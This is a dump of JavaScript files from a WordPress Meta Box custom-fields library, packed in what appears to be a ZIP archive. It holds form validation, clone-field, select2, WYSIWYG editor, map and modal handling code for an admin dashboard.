			if ( previous.old === optionDataString ) {
				return previous.valid;
			}

			previous.old = optionDataString;
			validator = this;
			this.startRequest( element );
			data = {};
			data[ element.name ] = value;
			$.ajax( $.extend( true, {
				mode: "abort",
				port: this.elementAjaxPort( element ),
				dataType: "json",
				data: data,
				context: validator.currentForm,
				success: function( response ) {
					var valid = response === true || response === "true",
						errors, message, submitted;

					validator.settings.messages[ element.name ][ method ] = previous.originalMessage;
					if ( valid ) {
						submitted = validator.formSubmitted;
						validator.toHide = validator.errorsFor( element );
						validator.formSubmitted = submitted;
						validator.successList.push( element );
						validator.invalid[ element.name ] = false;
						validator.showErrors();
					} else {
						errors = {};
						message = response || validator.defaultMessage( element, { method: method, parameters: value } );
						errors[ element.name ] = previous.message = message;
						validator.invalid[ element.name ] = true;
						validator.showErrors( errors );
					}
					previous.valid = valid;
					validator.stopRequest( element, valid );
				}
			}, param ) );
			return "pending";
		}
	}

} );

// Ajax mode: abort
// usage: $.ajax({ mode: "abort"[, port: "uniqueport"]});
//        $.ajaxAbort( port );
// if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort()

var pendingRequests = {},
	ajax;

// Use a prefilter if available (1.5+)
if ( $.ajaxPrefilter ) {
	$.ajaxPrefilter( function( settings, _, xhr ) {
		var port = settings.port;
		if ( settings.mode === "abort" ) {
			$.ajaxAbort( port );
			pendingRequests[ port ] = xhr;
		}
	} );
} else {

	// Proxy ajax
	ajax = $.ajax;
	$.ajax = function( settings ) {
		var mode = ( "mode" in settings ? settings : $.ajaxSettings ).mode,
			port = ( "port" in settings ? settings : $.ajaxSettings ).port;
		if ( mode === "abort" ) {
			$.ajaxAbort( port );
			pendingRequests[ port ] = ajax.apply( this, arguments );
			return pendingRequests[ port ];
		}
		return ajax.apply( this, arguments );
	};
}

// Abort the previous request without sending a new one
$.ajaxAbort = function( port ) {
	if ( pendingRequests[ port ] ) {
		pendingRequests[ port ].abort();
		delete pendingRequests[ port ];
	}
};
return $;
}));PK     0w\Yr?  ?  '  dashboard/lib/meta-box/js/input-list.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function toggleTree() {
		var $this = $( this ),
			$children = $this.closest( 'li' ).children( 'ul' );

		if ( $this.is( ':checked' ) ) {
			$children.removeClass( 'hidden' );
		} else {
			$children.addClass( 'hidden' ).find( 'input' ).prop( 'checked', false );
		}
	}

	function toggleAll( e ) {
		e.preventDefault();

		var $this = $( this ),
			checked = $this.data( 'checked' );

		if ( undefined === checked ) {
			checked = true;
		}

		$this.parent().siblings( '.rwmb-input-list' ).find( 'input' ).prop( 'checked', checked ).trigger( 'change' );

		checked = !checked;
		$this.data( 'checked', checked );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-input-list.rwmb-collapse input[type="checkbox"]' ).each( toggleTree );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-input-list.rwmb-collapse input[type="checkbox"]', toggleTree )
		.on( 'clone', '.rwmb-input-list.rwmb-collapse input[type="checkbox"]', toggleTree )
		.on( 'click', '.rwmb-input-list-select-all-none', toggleAll );
} )( jQuery, rwmb );
PK     0w\~0n  n  $  dashboard/lib/meta-box/js/wysiwyg.jsnu [        ( function( $, wp, window, rwmb ) {
	'use strict';

	/**
	 * Transform textarea into wysiwyg editor.
	 */
	function transform() {
		var $this = $( this ),
			$wrapper = $this.closest( '.wp-editor-wrap' ),
			id = $this.attr( 'id' ),
			isInBlock = $this.closest( '.wp-block, .components-panel' ).length > 0;

		// Update the ID attribute if the editor is in a new block.
		if ( isInBlock ) {
			id = id + '_' + rwmb.uniqid();
			$this.attr( 'id', id );
		}

		// Get current editor mode before updating the DOM.
		var mode = $wrapper.hasClass( 'tmce-active' ) ? 'tmce' : 'html';

		// Update the DOM
		$this.show();
		updateDom( $wrapper, id );

		// Get id of the original editor to get its tinyMCE and quick tags settings
		var originalId = getOriginalId( this ),
			settings = getEditorSettings( originalId ),
			customSettings = $this.closest( '.rwmb-input' ).find( '.rwmb-wysiwyg-id' ).data( 'options' );

		// TinyMCE
		if ( window.tinymce ) {
			settings.tinymce.selector = '#' + id;
			settings.tinymce.setup = function( editor ) {
				editor.on( 'keyup change', function() {
					editor.save(); // Required for live validation.
					$this.trigger( 'change' );
				} );
			};

			// Set editor mode after initializing.
			settings.tinymce.init_instance_callback = function() {
				switchEditors.go( id, mode );
			};

			tinymce.remove( '#' + id );
			tinymce.init( $.extend( settings.tinymce, customSettings.tinymce ) );
		}

		// Quick tags
		if ( window.quicktags ) {
			settings.quicktags.id = id;
			quicktags( $.extend( settings.quicktags, customSettings.quicktags ) );
			QTags._buttonsInit();
		}
	}

	function getEditorSettings( id ) {
		var settings = getDefaultEditorSettings();

		if ( id && tinyMCEPreInit.mceInit.hasOwnProperty( id ) ) {
			settings.tinymce = tinyMCEPreInit.mceInit[ id ];
		}
		if ( id && window.quicktags && tinyMCEPreInit.qtInit.hasOwnProperty( id ) ) {
			settings.quicktags = tinyMCEPreInit.qtInit[ id ];
		}

		return settings;
	}

	function getDefaultEditorSettings() {
		var settings = wp.editor.getDefaultSettings();

		settings.tinymce.toolbar1 = 'formatselect,bold,italic,bullist,numlist,blockquote,alignleft,aligncenter,alignright,link,unlink,wp_more,spellchecker,fullscreen,wp_adv';
		settings.tinymce.toolbar2 = 'strikethrough,hr,forecolor,pastetext,removeformat,charmap,outdent,indent,undo,redo,wp_help';

		settings.quicktags.buttons = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';

		return settings;
	}

	/**
	 * Get original ID of the textarea
	 * The ID will be used to reference to tinyMCE and quick tags settings
	 * @param el Current cloned textarea
	 */
	function getOriginalId( el ) {
		return el.closest( '.rwmb-input' ).querySelector( '.rwmb-wysiwyg-id' ).dataset.id;
	}

	/**
	 * Update id, class, [data-] attributes, ... of the cloned editor.
	 * @param $wrapper Editor wrapper element
	 * @param id       Editor ID
	 */
	function updateDom( $wrapper, id ) {
		// Wrapper div and media buttons
		$wrapper.attr( 'id', 'wp-' + id + '-wrap' )
			.find( '.mce-container' ).remove().end() // Remove rendered tinyMCE editor
			.find( '.wp-editor-tools' ).attr( 'id', 'wp-' + id + '-editor-tools' )
			.find( '.wp-media-buttons' ).attr( 'id', 'wp-' + id + '-media-buttons' )
			.find( 'button' ).data( 'editor', id ).attr( 'data-editor', id );

		// Set default active mode.
		$wrapper.removeClass( 'html-active tmce-active' );
		$wrapper.addClass( window.tinymce ? 'tmce-active' : 'html-active' );

		// Editor tabs
		$wrapper.find( '.switch-tmce' )
			.attr( 'id', id + 'tmce' )
			.data( 'wp-editor-id', id ).attr( 'data-wp-editor-id', id ).end()
			.find( '.switch-html' )
			.attr( 'id', id + 'html' )
			.data( 'wp-editor-id', id ).attr( 'data-wp-editor-id', id );

		// Quick tags
		$wrapper.find( '.wp-editor-container' ).attr( 'id', 'wp-' + id + '-editor-container' )
			.find( '.quicktags-toolbar' ).attr( 'id', 'qt_' + id + '_toolbar' ).html( '' );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-wysiwyg' ).each( transform );
	}

	/**
	 * Add required attribute for validation.
	 *
	 * this = textarea element.
	 */
	function addRequiredAttribute() {
		if ( this.classList.contains( 'rwmb-wysiwyg-required' ) ) {
			this.setAttribute( 'required', true );
		}
	}

	/**
	 * Setup events for the classic editor to make live validation work.
	 *
	 * When change:
	 * - Save content to textarea for live validation.
	 * - Trigger change event for compatibility.
	 *
	 * this = textarea element.
	 */
	function setupEvents() {
		if ( !window.tinymce ) {
			return;
		}
		var editor = tinymce.get( this.id );
		if ( !editor ) {
			return;
		}
		var $this = $( this );
		editor.on( 'keyup change', function() {
			editor.save(); // Required for live validation.
			$this.trigger( 'change' );
		} );
	}

	$( function() {
		var $editors = $( '.rwmb-wysiwyg' );
		$editors.each( addRequiredAttribute );
		$editors.each( setupEvents );

		// Force re-render editors in Gutenberg. Use setTimeOut to run after all other code. Bug occurs in WP 5.6.
		if ( rwmb.isGutenberg ) {
			setTimeout( () => $editors.each( transform ), 200 );
		}
	} );

	rwmb.$document
		.on( 'mb_blocks_edit', init )
		.on( 'mb_init_editors', init )
		.on( 'clone', '.rwmb-wysiwyg', function() {
			/*
			 * Transform a textarea to an editor is a heavy task.
			 * Moving it to the end of task queue with setTimeout makes cloning faster.
			 */
			setTimeout( transform.bind( this ), 200 );
		} );
} )( jQuery, wp, window, rwmb );
PK     0w\hM    )  dashboard/lib/meta-box/js/map-frontend.jsnu [        /* global google, jQuery */

( function( $, document ) {
	'use strict';
    
	/**
	 * Callback function for Google Maps Lazy Load library to display map
	 *
	 * @return void
	 */
	function displayMap() {
		var $container = $( this ),
			options = $container.data( 'map_options' );

		var mapOptions = options.js_options,
			center = new google.maps.LatLng( options.latitude, options.longitude ),
			map;

		switch ( mapOptions.mapTypeId ) {
			case 'ROADMAP':
				mapOptions.mapTypeId = google.maps.MapTypeId.ROADMAP;
				break;
			case 'SATELLITE':
				mapOptions.mapTypeId = google.maps.MapTypeId.SATELLITE;
				break;
			case 'HYBRID':
				mapOptions.mapTypeId = google.maps.MapTypeId.HYBRID;
				break;
			case 'TERRAIN':
				mapOptions.mapTypeId = google.maps.MapTypeId.TERRAIN;
				break;
		}
		mapOptions.center = center;

		// Typcast zoom to a number
		mapOptions.zoom *= 1;

		if ( typeof mapOptions.styles === 'string' ) {
			mapOptions.styles = JSON.parse(mapOptions.styles);
		}

		map = new google.maps.Map( this, mapOptions );

		// Set marker
		if ( options.marker ) {
			var marker = new google.maps.Marker( {
				position: center,
				map: map
			} );

			// Set marker title
			if ( options.marker_title ) {
				marker.setTitle( options.marker_title );
			}

			// Set marker icon
			if ( options.marker_icon ) {
				marker.setIcon( options.marker_icon );
			}
		}

		// Set info window
		if ( options.info_window ) {
			var infoWindow = new google.maps.InfoWindow( {
				content: options.info_window,
				minWidth: 200
			} );

			google.maps.event.addListener( marker, 'click', function () {
				infoWindow.open( map, marker );
			} );

			if ( true === mapOptions.openInfoWindow ) {
				infoWindow.open( map, marker );
			}
		}
	}

	// Loop through all map instances and display them
	$( '.rwmb-map-canvas' ).each( displayMap );
    
    $( document ).on( 'mb_blocks_preview', function( e ) {
        $( e.target )
                .find( ".rwmb-map-canvas" )
                .each( displayMap );
    } );    
} )( jQuery, document );
PK     0w\gF  F  %  dashboard/lib/meta-box/js/taxonomy.jsnu [        ( function ( $, rwmb ) {
    'use strict';

    function addNew() {
        const $this = $( this );

        $this.rwmbModal( {
            removeElement: '.form-wrap > h2',
            callback: function ( $modal, $modalContent ) {
                $modalContent.find( '#col-right' ).css( 'display', 'none' );
                $modalContent.find( '.search-box' ).css( 'display', 'none' );
                $modalContent.find( '#wpbody' ).css( 'padding-top', 0 );
                $modal.css( {
                    'max-width': '480px',
                    'margin': 'auto',
                } );
            },
            closeModalCallback: function ( $modal, $input ) {
                if ( $modal.find( '#the-list tr:first td:eq(0) .row-actions' ).length > 0 ) {
                    this.$objectId = parseInt( $modal.find( '#the-list tr:first' ).attr( 'id' ).split( '-' )[ 1 ] );
                    this.$objectDisplay = $modal.find( '#the-list tr:first td:eq(0) strong a' ).text();
                }
            }
        } );
    }

    function init( e ) {
        const wrapper = e.target || e;
        $( wrapper ).find( '.rwmb-taxonomy-add-button' ).each( addNew );
    }

    rwmb.$document
        .on( 'mb_ready', init )
        .on( 'clone', function ( e ) {
            init( $( e.target ).parent() );
        } );

} )( jQuery, rwmb );
PK     0w\u԰    ,  dashboard/lib/meta-box/js/select-advanced.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	// Cache ajax requests: https://github.com/select2/select2/issues/110#issuecomment-419247158
	var cache = {};

	/**
	 * Reorder selected values in correct order that they were selected.
	 * @param $select2 jQuery element of the select2.
	 */
	function reorderSelected( $select2 ) {
		var selected = $select2.data( 'selected' );
		if ( !selected ) {
			return;
		}
		selected.forEach( function ( value ) {
			var option = $select2.children( '[value="' + value + '"]' );
			option.detach();
			$select2.append( option );
		} );
		$select2.trigger( 'change' );
	}

	/**
	 * Transform select fields into beautiful dropdown with select2 library.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' );

		$this.removeClass( 'select2-hidden-accessible' ).removeAttr( 'data-select2-id' );
		$this.siblings( '.select2-container' ).remove();
		$this.find( 'option' ).removeAttr( 'data-select2-id' );

		if ( options.ajax_data ) {
			options.ajax.dataType = 'json';
			options.ajax.data = function ( params ) {
				return Object.assign( options.ajax_data, params );
			};
			options.ajax.processResults = function ( response ) {
				var items = response.data.items.map( function ( item ) {
					return {
						id: item.value,
						text: _.unescape( item.label ),
					};
				} );

				var results = {
					results: items
				};
				if ( response.data.hasOwnProperty( 'more' ) ) {
					results.pagination = { more: true };
				}

				return results;
			};

			options.ajax.transport = function ( params, success, failure ) {
				if ( params.data._type === 'query' ) {
					delete params.data.page;
				}

				// Create cache key from ajax params from only neccessary keys to make cache available for multiple fields.
				var data = $.extend( true, {}, params.data );
				delete data.field.id;
				delete data.action;
				if ( !data.term ) {
					delete data.term;
				}

				var key = JSON.stringify( data );
				if ( cache[ key ] ) {
					success( cache[ key ] );
					return;
				}

				var actions = {
					'post': 'rwmb_get_posts',
					'taxonomy': 'rwmb_get_terms',
					'taxonomy_advanced': 'rwmb_get_terms',
					'user': 'rwmb_get_users'
				};
				params.data.action = actions[ params.data.field.type ];
				params.method = 'POST';

				return $.ajax( params ).then( function ( data ) {
					cache[ key ] = data;
					return data;
				} ).then( success ).fail( failure );
			};
		}

		$this.show();

		if ( $this.hasClass( 'rwmb-icon' ) ) {
			// Initialize select2 with icons for icon field.
			$this.trigger( 'init_icon_field', [ options ] );
		} else {
			// Initialize select2 normally.
			$this.select2( options );
		}

		if ( !$this.attr( 'multiple' ) ) {
			return;
		}

		reorderSelected( $this );

		/**
		 * Preserve the order that options are selected.
		 * @see https://github.com/select2/select2/issues/3106#issuecomment-255492815
		 */
		$this.on( 'select2:select', function ( event ) {
			var option = $this.children( '[value="' + event.params.data.id + '"]' );
			option.detach();
			$this.append( option ).trigger( 'change' );
		} );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-select_advanced, .rwmb-icon' ).each( transform );
	}

	function fixDropdownPosition( e ) {
		if ( $( "#wpadminbar" ).length === 0 ) {
			return;
		}

		if ( rwmbSelect2.isAdmin == 1 ) {
			$( 'body > .select2-container--open .select2-dropdown--above' ).css( 'top', 0 );
			return;
		}

		$( 'body > .select2-container:last-child > .select2-dropdown' ).css( 'top', $( document.body ).offset().top );
	};

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-select_advanced, .rwmb-icon', transform )
		.on( 'select2:open', fixDropdownPosition );
} )( jQuery, rwmb );
PK     0w\Og    !  dashboard/lib/meta-box/js/icon.jsnu [        /**
 * Link: https://stackoverflow.com/questions/37386293/how-to-add-icon-in-select2
 */

( function ( $, rwmb ) {
	'use strict';

	const template = option => {
		if ( option.text.includes( '<svg' ) ) {
			const title = option.text.replace( /<svg.*?>.*?<\/svg>/, '' );
			return $( `<span class="rwmb-icon-select" title="${ title }">${ option.text }</span>` );
		}

		return option.id ? $( `<span class="rwmb-icon-select" title=${ option.text }><i class="${ option.id }"></i>${ option.text }</span>` ) : option.text;
	};

	function initIconField( event, options ) {
		$( this ).select2( {
			...options,
			templateResult: template,
			templateSelection: template,
		} );
	}

	rwmb.$document
		.on( 'init_icon_field', '.rwmb-icon', initIconField );
} )( jQuery, rwmb );PK     0w\۴$   $   "  dashboard/lib/meta-box/js/clone.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	// Object holds all methods related to fields' index when clone
	var cloneIndex = {
		/**
		 * Set index for fields in a .rwmb-clone
		 * @param $inputs .rwmb-clone element
		 * @param index Index value
		 */
		set: function ( $inputs, index ) {
			$inputs.each( function () {
				var $field = $( this );

				// Name attribute
				var name = this.name;
				if ( name && ! $field.closest( '.rwmb-group-clone' ).length ) {
					$field.attr( 'name', cloneIndex.replace( index, name, '[', ']', false ) );
				}

				// ID attribute
				var id = this.id;
				if ( id ) {
					$field.attr( 'id', cloneIndex.replace( index, id, '_', '', true, true ) );
				}

				$field.trigger( 'update_index', index );
			} );
		},

		/**
		 * Replace an attribute of a field with updated index
		 * @param index New index value
		 * @param value Attribute value
		 * @param before String before returned value
		 * @param after String after returned value
		 * @param alternative Check if attribute does not contain any integer, will reset the attribute?
		 * @param isEnd Check if we find string at the end?
		 * @return string
		 */
		replace: function ( index, value, before, after, alternative, isEnd ) {
			before = before || '';
			after = after || '';

			if ( typeof alternative === 'undefined' ) {
				alternative = true;
			}

			var end = isEnd ? '$' : '';

			var regex = new RegExp( cloneIndex.escapeRegex( before ) + '(\\d+)' + cloneIndex.escapeRegex( after ) + end ),
				newValue = before + index + after;

			return regex.test( value ) ? value.replace( regex, newValue ) : (alternative ? value + newValue : value );
		},

		/**
		 * Helper function to escape string in regular expression
		 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions
		 * @param string
		 * @return string
		 */
		escapeRegex: function ( string ) {
			return string.replace( /[.*+?^${}()|[\]\\]/g, "\\$&" );
		},

		/**
		 * Helper function to create next index for clones
		 * @param $container .rwmb-input container
		 * @return integer
		 */
		nextIndex: function ( $container ) {
			var nextIndex = $container.data( 'next-index' );

			// If we render cloneable fields via AJAX, the mb_ready event is not fired.
			// so nextIndex is undefined. In this case, we get the next index from the number of existing clones.
			if ( nextIndex === undefined ) {
				nextIndex = $container.children( '.rwmb-clone' ).length;
			}

			$container.data( 'next-index', nextIndex + 1 );
			return nextIndex;
		}
	};

	// Object holds all method related to fields' value when clone.
	var cloneValue = {
		setDefault: function() {
			var $field = $( this );

			if ( true !== $field.data( 'clone-default' ) ) {
				return;
			}

			var type = $field.attr( 'type' ),
				defaultValue = $field.data( 'default' );

			if ( 'radio' === type ) {
				$field.prop( 'checked', $field.val() === defaultValue );
			} else if ( $field.hasClass( 'rwmb-checkbox' ) || $field.hasClass( 'rwmb-switch' ) ) {
				$field.prop( 'checked', !! defaultValue );
			} else if ( $field.hasClass( 'rwmb-checkbox_list' ) ) {
				var value = $field.val();
				$field.prop( 'checked', Array.isArray( defaultValue ) ? -1 !== defaultValue.indexOf( value ) : value == defaultValue );
			} else if ( $field.is( 'select' ) ) {
				$field.find( 'option[value="' + defaultValue + '"]' ).prop( 'selected', true );
			} else if ( ! $field.hasClass( 'rwmb-hidden' ) ) {
				$field.val( defaultValue );
			}
		},
		clear: function() {
			const $field = $( this ),
				type = $field.attr( 'type' );

			if ( 'radio' === type || 'checkbox' === type ) {
				$field.prop( 'checked', false );
			} else if ( $field.is( 'select' ) ) {
				$field.prop( 'selectedIndex', 0 );
			} else if ( ! $field.hasClass( 'rwmb-hidden' ) ) {
				$field.val( '' );
			}
		}
	};

	/**
	 * Clone fields
	 * @param $container A div container which has all fields
	 */
	function clone( $container ) {
		var $last = $container.children( '.rwmb-clone' ).last(),
			$clone = $last.clone(),
			nextIndex = cloneIndex.nextIndex( $container );

		// Clear fields' values.
		var $inputs = $clone.find( rwmb.inputSelectors );
		$inputs.each( cloneValue.clear );

		// Remove validation errors.
		$clone.find( 'p.rwmb-error' ).remove();

		// Insert clone.
		$clone.insertAfter( $last );

		// Trigger custom event for the clone instance. Required for Group extension to update sub fields.
		$clone.trigger( 'clone_instance', nextIndex );

		// Set fields index. Must run before trigger clone event.
		cloneIndex.set( $inputs, nextIndex );

		// Set fields' default values: do after index is set to prevent previous radio fields from unchecking.
		$inputs.each( cloneValue.setDefault );

		// Trigger custom clone event.
		$inputs.trigger( 'clone', nextIndex );

		// After cloning fields.
		$inputs.trigger( 'after_clone', nextIndex );

		// Trigger custom change event for MB Blocks to update block attributes.
		$inputs.first().trigger( 'mb_change' );
	}

	/**
	 * Hide remove buttons when there's only 1 of them
	 *
	 * @param $container .rwmb-input container
	 */
	function toggleRemoveButtons( $container ) {

		var $clones = $container.children( '.rwmb-clone' ),
		    minClone = 1;

		if ( $container.data( 'min-clone' ) ) {
			minClone = parseInt( $container.data( 'min-clone' ) );
		}
		$clones.children( '.remove-clone' ).toggle( $clones.length > minClone );

		// Recursive for nested groups.
		$container.find( '.rwmb-input' ).each( function () {
			toggleRemoveButtons( $( this ) );
		} );
	}

	/**
	 * Toggle add button
	 * Used with [data-max-clone] attribute. When max clone is reached, the add button is hid and vice versa
	 *
	 * @param $container .rwmb-input container
	 */
	function toggleAddButton( $container ) {
		var $button = $container.children( '.add-clone' ),
			maxClone = parseInt( $container.data( 'max-clone' ) ),
			numClone = $container.children( '.rwmb-clone' ).length;

		$button.toggle( isNaN( maxClone ) || ( maxClone && numClone < maxClone ) );
	}

	function addClone( e ) {
		e.preventDefault();

		var $container = $( this ).closest( '.rwmb-input' );
		clone( $container );

		toggleRemoveButtons( $container );
		toggleAddButton( $container );
		sortClones.apply( $container[0] );
	}

	function removeClone( e ) {
		e.preventDefault();

		var $this = $( this ),
			$container = $this.closest( '.rwmb-input' );

		// Remove clone only if there are 2 or more of them
		if ( $container.children( '.rwmb-clone' ).length < 2 ) {
			return;
		}

		$this.parent().trigger( 'remove' ).remove();
		toggleRemoveButtons( $container );
		toggleAddButton( $container );

		// Trigger custom change event for MB Blocks to update block attributes.
		$container.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
	}

	/**
	 * Sort clones.
	 * Expect this = .rwmb-input element.
	 */
	function sortClones() {
		var $container = $( this );

		if ( undefined !== $container.sortable( 'instance' ) ) {
			return;
		}
		if ( 0 === $container.children( '.rwmb-clone' ).length ) {
			return;
		}

		$container.sortable( {
			handle: '.rwmb-clone-icon',
			placeholder: ' rwmb-clone rwmb-sortable-placeholder',
			items: '> .rwmb-clone',
			start: function ( event, ui ) {
				// Make the placeholder has the same height as dragged item
				ui.placeholder.height( ui.item.outerHeight() );
			},
			stop: function( event, ui ) {
				ui.item.trigger( 'mb_init_editors' );
				ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
			}
		} );
	}

	function start() {
		var $container = $( this );
		toggleRemoveButtons( $container );
		toggleAddButton( $container );

		$container.data( 'next-index', $container.children( '.rwmb-clone' ).length );
		sortClones.apply( this );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-input' ).each( start );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.add-clone', addClone )
		.on( 'click', '.remove-clone', removeClone );

	// Export for use outside.
	rwmb.cloneIndex = cloneIndex;
	rwmb.cloneValue = cloneValue;
	rwmb.sortClones = sortClones;
	rwmb.toggleRemoveButtons = toggleRemoveButtons;
	rwmb.toggleAddButton = toggleAddButton;
} )( jQuery, rwmb );
PK     0w\N}z  z  "  dashboard/lib/meta-box/js/video.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		MediaItem = views.MediaItem,
		MediaList = views.MediaList,
		VideoField;

	VideoField = views.VideoField = MediaField.extend( {
		createList: function ()
		{
			this.list = new MediaList( {
				controller: this.controller,
				itemView: MediaItem.extend( {
					className: 'rwmb-video-item',
					template : wp.template( 'rwmb-video-item' ),
					render: function()
					{
						var settings =  ! _.isUndefined( window._wpmejsSettings ) ? _.clone( _wpmejsSettings ) : {};
						MediaItem.prototype.render.apply( this, arguments );
						this.player = new MediaElementPlayer( this.$( 'video' ).get(0), settings );
					}
				} )
			} );
		}
	} );

	function initVideoField() {
		var $this = $( this ),
			view = new VideoField( { input: this } );
		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-video' ).each( initVideoField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-video', initVideoField );
} )( jQuery, rwmb );
PK     0w\f    "  dashboard/lib/meta-box/js/range.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	/**
	 * Update text value.
	 */
	function update() {
		var $this = $( this ),
			$output = $this.siblings( '.rwmb-range-output' );

		$this.on( 'input propertychange change', function () {
			$output.html( $this.val() );
		} );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-range' ).each( update );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-range', update );
} )( jQuery, rwmb );
PK     0w\UA    +  dashboard/lib/meta-box/js/image-advanced.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		MediaItem = views.MediaItem,
		MediaList = views.MediaList,
		ImageField;

	ImageField = views.ImageField = MediaField.extend( {
		createList: function () {
			this.list = new MediaList( {
				controller: this.controller,
				itemView: MediaItem.extend( {
					className: 'rwmb-image-item',
					template: wp.template( 'rwmb-image-item' )
				} )
			} );
		}
	} );

	/**
	 * Initialize image fields
	 */
	function initImageField() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new ImageField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image_advanced' ).each( initImageField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-image_advanced', initImageField );
} )( jQuery, rwmb );
PK     0w\z{    !  dashboard/lib/meta-box/js/post.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function addNew() {
		const $this = $( this );

		$this.rwmbModal( {
			removeElement: '#editor .interface-interface-skeleton__footer, .edit-post-fullscreen-mode-close',
			callback: function ( $modal, $modalContent ) {
				if ( !this.isBlockEditor ) {
					this.$objectId = $modalContent.find( '#post_ID' ).val();
					return;
				}

				setTimeout( () => {
					if ( $modalContent.find( '.edit-post-post-url .edit-post-post-url__toggle' ).length > 0 ) {
						let url = $modalContent.find( '.edit-post-post-url .edit-post-post-url__toggle' ).text();
						this.$objectId = url.substr( url.indexOf( "=" ) + 1 );
					}
				}, 2000 );

				setTimeout( () => {
					const $ui = $modalContent.find( '.interface-interface-skeleton' );
					$ui.css( {
						left: 0,
						top: 0
					} );
					$ui.find( '.interface-interface-skeleton__editor' ).css( 'overflow', 'scroll' );
				}, 500 );
			},
			closeModalCallback: function ( $modal, $input ) {
				this.$objectDisplay = !this.isBlockEditor ? $modal.find( '#title' ).val() : $modal.find( '.interface-interface-skeleton__editor h1.editor-post-title__input' ).text().trim();
			}
		} );
	}

	function init( e ) {
		const wrapper = e.target || e;
		$( wrapper ).find( '.rwmb-post-add-button' ).each( addNew );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', function ( e ) {
			init( $( e.target ).parent() );
		} );

} )( jQuery, rwmb );
PK     0w\<=zc  c  !  dashboard/lib/meta-box/js/time.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into a time picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			current = $this.val();

		$this.siblings( '.ui-datepicker-append' ).remove();  // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).timepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.timepicker( options )
			.timepicker( 'setTime', current );
	}

	// Set language if available
	function setTimeI18n() {
		if ( $.timepicker.regional.hasOwnProperty( i18n.locale ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.locale] );
		} else if ( $.timepicker.regional.hasOwnProperty( i18n.localeShort ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.localeShort] );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-time' ).each( transform );
	}

	setTimeI18n();
	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-time', transform );
} )( jQuery, rwmb, RWMB_Time );
PK     0w\R    !  dashboard/lib/meta-box/js/user.jsnu [        ( function ( $, rwmb ) {
    'use strict';

    function addNew() {
        const $this = $( this );

        $this.rwmbModal( {
            removeElement: '#add-new-user',
            callback: function ( $modal, $modalContent ) {
                $modalContent.find( '#add-new-user' ).next().next().remove();
            },
            closeModalCallback: function ( $modal, $input ) {
                if ( $modal.find( '#wpbody-content .wrap form input[name="_wp_http_referer"]' ).length > 0 ) {
                    const urlParams = new URLSearchParams( $modal.find( '#wpbody-content .wrap form input[name="_wp_http_referer"]' ).val() );
                    this.$objectId = parseInt( urlParams.get( 'id' ) );
                    this.$objectDisplay = $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-name` ).text() !== '—Unknown' ?
                        $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-name` ).text() :
                        $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-username strong a` ).text();
                }
            }
        } );
    }

    function init( e ) {
        const wrapper = e.target || e;
        $( wrapper ).find( '.rwmb-user-add-button' ).each( addNew );
    }

    rwmb.$document
        .on( 'mb_ready', init )
        .on( 'clone', function ( e ) {
            init( $( e.target ).parent() );
        } );

} )( jQuery, rwmb );
PK     0w\
vh    #  dashboard/lib/meta-box/js/select.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function toggleAll( e ) {
		e.preventDefault();

		var $this = $( this ),
			$select = $this.parent().siblings( 'select' );

		if ( 'none' === $this.data( 'type' ) ) {
			$select.val( [] ).trigger( 'change' );
			return;
		}
		var selected = [];
		$select.find( 'option' ).each( function ( index, option ) {
			selected.push( option.value );
		} );
		$select.val( selected ).trigger( 'change' );
	};

	rwmb.$document
		.on( 'click', '.rwmb-select-all-none a', toggleAll );
} )( jQuery, rwmb );
